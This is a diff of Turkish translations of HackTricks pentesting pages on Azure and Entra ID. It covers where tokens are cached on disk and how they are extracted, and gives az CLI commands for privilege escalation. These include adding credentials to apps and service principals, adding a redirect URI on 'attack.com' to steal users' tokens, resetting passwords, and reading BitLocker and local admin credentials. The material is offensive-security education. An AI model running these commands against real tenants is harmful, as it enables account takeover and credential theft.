-- Blogda açıklanan bir diğer seçenek, herhangi bir uygulamayı kullanabilen [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) aracını kullanmaktır; çünkü bu araç `https://login.microsoftonline.com/common/oauth2/nativeclient` redirect URI'sini kullanarak nihai auth sayfasının başlığından OAuth kodunu alıp ardından refresh token elde edecektir.
+- **`service_principal_entries.bin`** ve msal_token_cache.bin Windows'ta kullanılır ve DPAPI ile şifrelenmiştir
+- **`msal_http_cache.bin`** HTTP isteklerinin önbelleğidir
+- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
+- **`AzureRmContext.json`** Az PowerShell ile yapılan önceki oturum açma bilgilerini içerir (ancak kimlik bilgileri yok)
+- **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** içinde kullanıcının DPAPI'si ile şifrelenmiş access tokens, ID tokens ve hesap bilgilerini içeren birkaç `.bin` dosyası bulunur.
+- Daha fazla **access tokens** bulmak mümkündür: **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** içindeki `.tbres` dosyaları, DPAPI ile şifrelenmiş base64 içinde access tokens içerir.
+- Linux ve macOS'ta, Az PowerShell (kullanıldıysa) çalıştırılarak **access tokens, refresh tokens ve id tokens** alınabilir: `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
+- Windows'ta bu yalnızca id tokens üretir.
+- Linux ve macOS'ta Az PowerShell'in kullanılıp kullanılmadığını görmek için `$HOME/.local/share/.IdentityService/` var olup olmadığı kontrol edilebilir (içerideki dosyalar boş ve işe yaramaz olsa da)
+- Eğer kullanıcı tarayıcıyla Azure'a logged inside ise, bu [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) göre kimlik doğrulama akışı localhost'a redirect ile başlatılıp, tarayıcı otomatik olarak otorizasyonu onaylamaya zorlanabilir ve refresh token alınabilir. Dikkat: localhost'a redirect'e izin veren sadece birkaç FOCI uygulaması vardır (ör. az cli veya powershell modülü), bu yüzden bu uygulamalara izin verilmiş olmalıdır.
+- Blogda açıklanan diğer bir seçenek, herhangi bir uygulamayı kullanabilen ve son auth sayfasının başlığından OAuth kodunu alıp bununla refresh token edinecek aracı [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) kullanmaktır; bu araç final auth sayfasının başlığından refresh token almak için redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` kullanır.
## Referanslar
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
+- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
+- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 54fb14b92..55db02908 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> **Entra ID'deki** yerleşik rollerin **tüm ayrıntılı izinleri** özel rollerde kullanılmak üzere **uygun değildir.**
+> Unutmayın ki Entra ID'de yerleşik rollerin sahip olduğu **tüm ayrıntılı izinlerin** özel rollerde **kullanılmaya uygun olmadığı** durumlar vardır.
## Roller
-### Rol: Ayrıcalıklı Rol Yöneticisi
+### Rol: Privileged Role Administrator
-Bu rol, ilkeler için roller atamak ve rollere daha fazla izin vermek için gerekli ayrıntılı izinleri içerir. Her iki eylem de ayrıcalıkları artırmak için kötüye kullanılabilir.
+Bu rol, rolleri principal'lara atayabilmek ve rollere daha fazla izin verebilmek için gerekli ayrıntılı izinleri içerir. Her iki eylem de yetki yükseltme amacıyla kötüye kullanılabilir.
-- Bir kullanıcıya rol atama:
+- Bir kullanıcıya rol atamak:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- Bir role daha fazla izin ekleyin:
+- Bir role daha fazla permissions ekle:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-Bu, bir saldırgana mevcut uygulamalara **kimlik bilgileri** (şifreler veya sertifikalar) ekleme imkanı tanır. Uygulama ayrıcalıklı izinlere sahipse, saldırgan o uygulama olarak kimlik doğrulaması yapabilir ve bu ayrıcalıkları elde edebilir.
+Bu, bir saldırganın mevcut uygulamalara **add credentials** (passwords or certificates) eklemesine izin verir. Eğer uygulamanın privileged permissions varsa, saldırgan o uygulama olarak authenticate olabilir ve bu ayrıcalıkları elde edebilir.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Bu, `applications/credentials/update` ile aynı eylemleri sağlar, ancak tek dizin uygulamaları için kapsamlıdır.
+Bu, `applications/credentials/update` ile aynı işlemlere izin verir, ancak tek dizinli uygulamalar için sınırlandırılmıştır.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Kendilerini bir sahip olarak ekleyerek, bir saldırgan uygulamayı, kimlik bilgileri ve izinler dahil olmak üzere, manipüle edebilir.
+Kendilerini sahip (owner) olarak ekleyerek, bir saldırgan uygulamayı kimlik bilgileri ve izinler dahil olmak üzere manipüle edebilir.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,40 +77,153 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Bir saldırgan, kiracının kullanıcıları tarafından kullanılan uygulamalara bir yönlendirme URI'si ekleyebilir ve ardından bu yeni yönlendirme URL'sini kullanan oturum açma URL'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcının uygulamada zaten oturum açmış olması durumunda, kimlik doğrulamanın otomatik olacağını ve kullanıcının hiçbir şeyi kabul etmesine gerek kalmayacağını unutmayın.
+Bir saldırgan, tenant'ın kullanıcıları tarafından kullanılan uygulamalara bir redirect URI ekleyebilir ve ardından yeni redirect URL'sini kullanan login URL'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcı zaten uygulamada oturum açmışsa, kimlik doğrulama kullanıcıdan herhangi bir onay istenmeden otomatik olarak gerçekleşecektir.
-Ayrıca, uygulamanın talep ettiği izinleri değiştirerek daha fazla izin almak da mümkündür, ancak bu durumda kullanıcının tüm izinleri isteyen istemi tekrar kabul etmesi gerekecektir.
+Ayrıca, uygulamanın daha fazla izin almak için talep ettiği izinleri değiştirmek de mümkündür; ancak bu durumda kullanıcıdan tüm izinleri isteyen istemi tekrar kabul etmesi gerekecektir.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
+### Applications Privilege Escalation
+
+**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** varsayılan uygulamaların **`Application`** türünde **API permissions** ile atanmış olarak bulunması çok yaygındı. Entra ID konsolunda "API Permission" olarak adlandırılan bir izin türü olan **`Application`**, uygulamanın kullanıcı bağlamı olmadan (uygulamaya bir kullanıcı giriş yapmadan) API'ye erişip işlemler gerçekleştirebileceği ve bunun için Entra ID rolleri gerekmediği anlamına gelir. Bu nedenle, her Entra ID tenant'ında **yüksek ayrıcalıklı uygulamalar** bulmak çok yaygındır.
+
+Eğer bir saldırganın uygulamanın kimlik bilgilerini (secret veya certificate) **güncellemesine** izin veren herhangi bir izin/rolü varsa, saldırgan yeni bir kimlik bilgisi oluşturup bunu uygulama olarak **kimlik doğrulaması yapmak** için kullanabilir ve uygulamanın sahip olduğu tüm izinleri elde edebilir.
+
+Bahsedilen blog bazı yaygın Microsoft varsayılan uygulamalarının bazı **API permissions** değerlerini paylaşıyordu; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltti ve artık Microsoft uygulamaları olarak oturum açmak mümkün değil. Yine de kötüye kullanılabilecek **yüksek ayrıcalıklı özel uygulamalar** bulmak hâlâ mümkün.
+
+Bir uygulamanın API izinleri nasıl listelenir:
+```bash
+# Get "API Permissions" of an App
+## Get the ResourceAppId
+az ad app show --id "" --query "requiredResourceAccess" --output json
+## e.g.
+[
+{
+"resourceAccess": [
+{
+"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
+"type": "Scope"
+},
+{
+"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
+"type": "Role"
+}
+],
+"resourceAppId": "00000003-0000-0000-c000-000000000000"
+}
+]
+
+## For the perms of type "Scope"
+az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv
+az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
+
+## For the perms of type "Role"
+az ad sp show --id --query "appRoles[?id==''].value" -o tsv
+az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
+```
+
+Microsoft dışı API'lere API izinleri olan tüm uygulamaları bulun (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
-Bu, bir saldırganın mevcut hizmet ilkelerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet ilkesi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
+Bu, saldırganın mevcut service principals için kimlik bilgileri eklemesine izin verir. Eğer ilgili service principal yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> Yeni oluşturulan şifre web konsolunda görünmeyecek, bu nedenle bu, bir hizmet ilkesinde kalıcılığı sağlamak için gizli bir yol olabilir.\
-> API'den şu şekilde bulunabilir: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> Yeni oluşturulan parola web konsolunda görünmeyecek, bu yüzden bu, bir service principal üzerinde kalıcılığı sağlamak için gizli bir yol olabilir.\
+> API'den şunlarla bulunabilirler: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alıyorsanız, bunun nedeni **SP'nin passwordCredentials özelliğini değiştirmek mümkün değildir** ve önce onu kilidini açmanız gerekir. Bunun için, şu işlemi gerçekleştirmenizi sağlayan bir izin gerekir (`microsoft.directory/applications/allProperties/update`):
+If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **SP'nin passwordCredentials özelliğini değiştirmek mümkün değildir** ve önce kilidini açmanız gerekir. Bunun için size şu yetkiyi veren bir permission (`microsoft.directory/applications/allProperties/update`) gerekir:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Bu, bir saldırganın mevcut hizmet ilkelerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet ilkesi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
+Bu izin, bir saldırganın mevcut service principals üzerinde credentials eklemesine olanak tanır. Eğer service principal yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Uygulamalara benzer şekilde, bu izin bir hizmet ilkesine daha fazla sahip eklemeye olanak tanır. Bir hizmet ilkesine sahip olmak, onun kimlik bilgileri ve izinleri üzerinde kontrol sağlar.
+Uygulamalara benzer şekilde, bu izin bir service principal'a daha fazla sahip eklemeye olanak tanır. Bir service principal'ın sahibi olmak, onun kimlik bilgileri ve izinleri üzerinde kontrol sağlar.
```bash
# Add new owner
spId=""
@@ -128,13 +241,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Yeni bir sahip ekledikten sonra, onu kaldırmaya çalıştım ama API, DELETE yönteminin desteklenmediğini yanıtladı, bu yöntem sahibi silmek için kullanmanız gereken yöntemdir. Yani **günümüzde sahipleri kaldıramazsınız**.
+> Yeni bir owner ekledikten sonra kaldırmayı denedim ama API, owner'ı silmek için kullanmanız gereken DELETE methodunu desteklemediğini belirtti. Bu yüzden günümüzde owner'ları **kaldıramıyorsunuz**.
-### `microsoft.directory/servicePrincipals/disable` ve `enable`
+### `microsoft.directory/servicePrincipals/disable` and `enable`
-Bu izinler, hizmet ilkelerini devre dışı bırakma ve etkinleştirme olanağı sağlar. Bir saldırgan, ayrıcalıkları artırmak için erişim sağlayabileceği bir hizmet ilkesini etkinleştirmek için bu izni kullanabilir.
+Bu izinler service principals'i devre dışı bırakmaya ve etkinleştirmeye izin verir. Bir attacker, erişim sağlayabildiği bir service principal'i etkinleştirip ayrıcalıkları yükseltmek için bu izni kullanabilir.
-Bu teknik için saldırganın etkinleştirilen hizmet ilkesini ele geçirmek için daha fazla izne ihtiyacı olacağını unutmayın.
+Bu teknik için attacker'ın etkinleştirilen service principal'ı ele geçirmek amacıyla ek izinlere ihtiyaç duyacağını unutmayın.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Bu izinler, üçüncü taraf uygulamalara erişim sağlayabilecek tek oturum açma için kimlik bilgileri oluşturma ve alma yetkisi verir.
+Bu izinler single sign-on için kimlik bilgileri oluşturulmasına ve alınmasına izin verir; bu, üçüncü taraf uygulamalara erişime olanak sağlayabilir.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
-### Uygulamalar Yetki Yükseltme
-
-**[Bu yazıda](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) açıklandığı gibi**, varsayılan uygulamaların **API izinleri** türü **`Application`** ile atanmış olarak bulunması oldukça yaygındır. Entra ID konsolunda **`Application`** türündeki bir API İzni, uygulamanın API'ye kullanıcı bağlamı olmadan (kullanıcının uygulamaya giriş yapmadan) erişebileceği ve Entra ID rollerine ihtiyaç duymadan erişim sağlayabileceği anlamına gelir. Bu nedenle, her Entra ID kiracısında **yüksek yetkili uygulamaların bulunması** oldukça yaygındır.
-
-Daha sonra, bir saldırganın **uygulamanın kimlik bilgilerini (gizli anahtar veya sertifika) güncellemesine** izin veren herhangi bir izni/rolü varsa, saldırgan yeni bir kimlik bilgisi oluşturabilir ve ardından bunu **uygulama olarak kimlik doğrulamak için** kullanarak uygulamanın sahip olduğu tüm izinleri elde edebilir.
-
-Bahsedilen blog, bazı yaygın Microsoft varsayılan uygulamalarının **API izinlerini** paylaşmaktadır; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltmiştir ve artık Microsoft uygulamaları olarak giriş yapmak mümkün değildir. Ancak, **istismar edilebilecek yüksek yetkilere sahip özel uygulamaların** bulunması hala mümkündür.
-
---
## Gruplar
### `microsoft.directory/groups/allProperties/update`
-Bu izin, kullanıcıları ayrıcalıklı gruplara eklemeye olanak tanır ve bu da yetki yükseltmeye yol açar.
+Bu izin, ayrıcalıklı gruplara kullanıcı eklemeye izin verir ve privilege escalation ile sonuçlanır.
```bash
az ad group member add --group --member-id
```
-**Not**: Bu izin, Entra ID rol atanabilir gruplarını hariç tutar.
+**Not**: Bu izin Entra ID role-assignable groups için geçerli değildir.
### `microsoft.directory/groups/owners/update`
-Bu izin, grupların sahibi olmayı sağlar. Bir grubun sahibi, grup üyeliğini ve ayarlarını kontrol edebilir, bu da potansiyel olarak grubun ayrıcalıklarını artırabilir.
+Bu izin, grup sahibi olunmasına olanak tanır. Bir grup sahibi, grup üyeliğini ve ayarlarını kontrol edebilir; bu da potansiyel olarak gruba escalating privileges kazandırabilir.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Not**: Bu izin, Entra ID rol ataması yapılabilir gruplarını hariç tutar.
+**Not**: Bu izin, Entra ID rol atanabilir gruplarını kapsamaz.
### `microsoft.directory/groups/members/update`
-Bu izin, bir gruba üye eklemeye olanak tanır. Bir saldırgan, kendisini veya kötü niyetli hesapları ayrıcalıklı gruplara ekleyerek yükseltilmiş erişim sağlayabilir.
+Bu izin, bir gruba üye eklemeye izin verir. Bir attacker, kendisini veya kötü amaçlı hesapları ayrıcalıklı gruplara ekleyerek yükseltilmiş erişim elde edebilir.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Bu izin, dinamik bir gruptaki üyelik kuralını güncellemeye olanak tanır. Bir saldırgan, kendisini ayrı bir ekleme olmadan ayrıcalıklı gruplara dahil etmek için dinamik kuralları değiştirebilir.
+Bu izin, dinamik bir gruptaki üyelik kuralını güncellemeye olanak tanır. Bir saldırgan, dinamik kuralları değiştirerek kendisini açıkça eklemeden ayrıcalıklı gruplara dahil edebilir.
```bash
groupId=""
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**Not**: Bu izin, Entra ID rol atanabilir gruplarını hariç tutar.
+**Not**: Bu izin Entra ID role-assignable groups için geçerli değildir.
-### Dinamik Gruplar Privesc
+### Dynamic Groups Privesc
-Kullanıcıların, dinamik gruplara üye olarak eklenmek için kendi özelliklerini değiştirerek yetkilerini artırmaları mümkün olabilir. Daha fazla bilgi için kontrol edin:
+Kullanıcıların kendi özelliklerini değiştirerek dynamic groups üyesi olarak eklenmek için escalate privileges yapmaları mümkün olabilir. Daha fazla bilgi için bakınız:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Bu izin, yönetici olmayan kullanıcıların şifresini sıfırlamaya olanak tanır ve potansiyel bir saldırganın diğer kullanıcılara yetki artırmasına izin verir. Bu izin özel rollere atanamaz.
+Bu izin non-admin users için parola sıfırlamaya izin verir; bu da potansiyel bir attacker'ın diğer kullanıcılara escalate privileges yapmasına olanak tanıyabilir. Bu izin custom roles olarak atanamaz.
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-Bu ayrıcalık, kullanıcının özelliklerini değiştirmesine olanak tanır. Özellik değerlerine dayalı olarak kullanıcı ekleyen dinamik grupların bulunması yaygındır, bu nedenle bu izin, bir kullanıcının belirli bir dinamik gruba üye olmak için gerekli özellik değerini ayarlamasına ve ayrıcalıkları artırmasına olanak tanıyabilir.
+Bu ayrıcalık, kullanıcının özelliklerini değiştirmeye izin verir. Özellik değerlerine göre kullanıcı ekleyen dinamik grupları bulmak yaygındır; bu nedenle, bu izin bir kullanıcının belirli bir dinamik grubun üyesi olmak için gerekli özellik değerini ayarlamasına ve ayrıcalıklarını yükseltmesine izin verebilir.
```bash
#e.g. change manager of a user
victimUser=""
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Koşullu Erişim Politikaları & MFA atlatma
+## Conditional Access Policies & MFA bypass
-Yanlış yapılandırılmış MFA gerektiren koşullu erişim politikaları atlatılabilir, kontrol edin:
+MFA gerektiren yanlış yapılandırılmış conditional access policies atlatılabilir, bkz:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Bu izin, saldırganların cihazların sahipleri olarak kendilerini atamalarına ve cihazlara özgü ayar ve verilere erişim sağlamalarına olanak tanır.
+Bu izin, saldırganların kendilerini cihazların sahibi olarak atamalarına olanak sağlar; böylece cihazla ilgili ayarlara ve verilere erişim veya kontrol elde etmelerini sağlar.
```bash
deviceId=""
userId=""
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirmesine ve erişim elde etmesine veya güvenlik politikalarını atlamasına olanak tanır.
+Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirerek erişim elde etmelerine veya güvenlik politikalarını atlatmalarına olanak tanır.
```bash
deviceId=""
userId=""
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Bu izin, saldırganların Microsoft Entra ile katılmış cihazlar için yedeklenmiş yerel yönetici hesabı kimlik bilgilerini, şifre de dahil olmak üzere, okumalarına olanak tanır.
+Bu izin, saldırganların Microsoft Entra joined devices için yedeklenen yerel yönetici hesap kimlik bilgilerine ait özellikleri, parola dahil olmak üzere okumasına izin verir.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Bu izin, bir saldırganın sürücüleri şifrelerini çözmesine olanak tanıyarak veri gizliliğini tehlikeye atabilecek BitLocker anahtarlarına erişim sağlar.
+Bu izin, BitLocker anahtarlarına erişime izin verir; bu da bir saldırganın sürücüleri şifre çözmesine ve veri gizliliğini tehlikeye atmasına yol açabilir.
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +413,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## Diğer İlginç İzinler (TODO)
+## Diğer İlginç İzinler (YAPILACAK)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index a192b002e..fd6418a99 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Temel Bilgiler
+## Temel Bilgi
-Azure Active Directory (Azure AD), Microsoft'un kimlik ve erişim yönetimi için bulut tabanlı hizmetidir. Çalışanların kuruluş içindeki ve dışındaki kaynaklara erişmek için oturum açmalarını sağlar; buna Microsoft 365, the Azure portal ve diğer birçok SaaS uygulaması dahildir. Azure AD'nin tasarımı, temel kimlik hizmetlerini sunmaya odaklanır; özellikle **authentication, authorization, and user management**.
+Azure Active Directory (Azure AD), Microsoft'un kimlik ve erişim yönetimi için bulut tabanlı hizmetidir. Çalışanların oturum açmasını ve kuruluş içindeki ve dışındaki kaynaklara — Microsoft 365, Azure portal ve birçok diğer SaaS uygulamasına — erişim sağlamasını mümkün kılar. Azure AD'nin tasarımı, başlıca **authentication, authorization, and user management** gibi temel kimlik hizmetlerini sunmaya odaklanır.
-Azure AD'nin ana özellikleri arasında **multi-factor authentication** ve **conditional access**, ayrıca diğer Microsoft güvenlik hizmetleriyle sorunsuz entegrasyon bulunur. Bu özellikler kullanıcı kimliklerinin güvenliğini önemli ölçüde artırır ve organizasyonların erişim politikalarını etkin şekilde uygulamasını sağlar. Microsoft'un bulut hizmetleri ekosisteminin temel bileşenlerinden biri olarak, Azure AD bulut tabanlı kullanıcı kimlik yönetimi için kritik bir rol oynar.
+Azure AD'nin temel özellikleri arasında **multi-factor authentication** ve **conditional access** ile diğer Microsoft security services ile sorunsuz entegrasyon yer alır. Bu özellikler kullanıcı kimliklerinin güvenliğini önemli ölçüde artırır ve kuruluşların erişim politikalarını etkili şekilde uygulayıp zorlamasına olanak tanır. Microsoft'un bulut hizmetleri ekosisteminin temel bir bileşeni olarak, Azure AD kullanıcı kimliklerinin bulut tabanlı yönetimi için hayati öneme sahiptir.
## Keşif
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Herhangi bir programla **CLI** üzerinden Azure'a **login** yaptığınızda, **Microsoft**'a ait bir **tenant** içindeki bir **Azure Application**'ı kullanırsınız. Hesabınızda oluşturabileceğiniz uygulamalar gibi bu uygulamaların da **have a client id**. Konsolda görebileceğiniz **allowed applications lists** içinde hepsini **won't be able to see all of them**, fakat varsayılan olarak **but they are allowed by default**.
+Herhangi bir programla **CLI** üzerinden Azure'a **login** yaptığınızda, **Microsoft**'a ait bir **tenant**'taki bir **Azure Application**'ı kullanıyorsunuz. Bu **Applications**, hesabınızda oluşturabileceğinizler gibi, **have a client id**. Konsolda görebileceğiniz **allowed applications lists** içinde **won't be able to see all of them**, **but they are allowed by default**.
-Örneğin **powershell script** ile **authenticates** yapan bir betik, client id'si **`1950a258-227b-4e31-a9cf-717495945fc2`** olan bir uygulamayı kullanır. Uygulama konsolda görünmese bile, bir sysadmin **block that application** yapabilir; böylece kullanıcılar o App üzerinden bağlanan araçlarla erişemezler.
+Örneğin bir **powershell script** **authenticates** yaptığında client id'si **`1950a258-227b-4e31-a9cf-717495945fc2`** olan bir app kullanır. App konsolda görünmese bile, bir sysadmin **block that application** yapabilir, böylece kullanıcılar o App aracılığıyla bağlanan araçlarla erişim sağlayamazlar.
-Ancak **other client-ids**'i olan uygulamalar **will allow you to connect to Azure**:
+Ancak, **other client-ids** of applications **will allow you to connect to Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -214,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
-Verbose -Debug `
-InformationAction Continue
```
-### Tenantlar
+### Kiracılar
{{#tabs }}
{{#tab name="az cli" }}
@@ -227,7 +227,7 @@ az account tenant list
### Kullanıcılar
-Entra ID kullanıcıları hakkında daha fazla bilgi için bakın:
+Entra ID kullanıcıları hakkında daha fazla bilgi için bakınız:
{{#ref}}
../az-basic-information/
@@ -366,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Conditional Access Policies
